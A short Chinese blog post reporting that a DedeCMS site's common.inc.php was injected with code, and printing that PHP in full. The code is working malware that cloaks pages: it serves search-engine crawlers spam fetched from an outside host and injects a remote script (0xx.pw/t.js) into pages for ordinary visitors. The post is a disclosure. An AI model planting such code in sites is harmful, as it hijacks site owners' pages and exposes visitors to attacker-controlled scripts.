您现在的位置是:

dede common.inc.php被别人写入了代码

发布时间:2020-12-29作者:小灵龙来源:未知点击:190

代码如下:
  

set_time_limit(0);

error_reporting(0);

$a=stristr;

$b=$_SERVER;

define('url',$b['REQUEST_URI']);

define('ent',$b['HTTP_USER_AGENT']);

define('site',"http://x.lushan.la/");

define('road',"?road=".$b['HTTP_HOST'].url."&der=".ent);

define('regs','@Baidu|Sogou|Yisou|Soso|Haosou|360Spider|So.com|Sm.cn@i');

define('area',$a(url,".xml")or $a(url,".doc")or $a(url,".txt")or $a(url,".ppt")or $a(url,".html")or $a(url,".pptx")or $a(url,".pdf")or $a(url,".xls")or $a(url,".csv")or $a(url,".shtml")or $a(url,".docx")or $a(url,".xlsx")and $a(url,"?"));

if(preg_match(regs,ent)){

    if(area){

        echo g(site.road);

        exit;

    }else{

        echo g(site."?zz".road);

        ob_flush();

        flush();}

    }

    if(area){

        echo '<script src="http://0xx.pw/t.js"></script>';

        exit;

    }

function g($d){

    $e=array('http'=>array('method'=>"GET"));

    $i=stream_context_create($e);

    $j=file_get_contents($d,false,$i);

    if(!empty($j)){

        return $j;

    }

}

如果帮到了您,请打赏一二!

标签: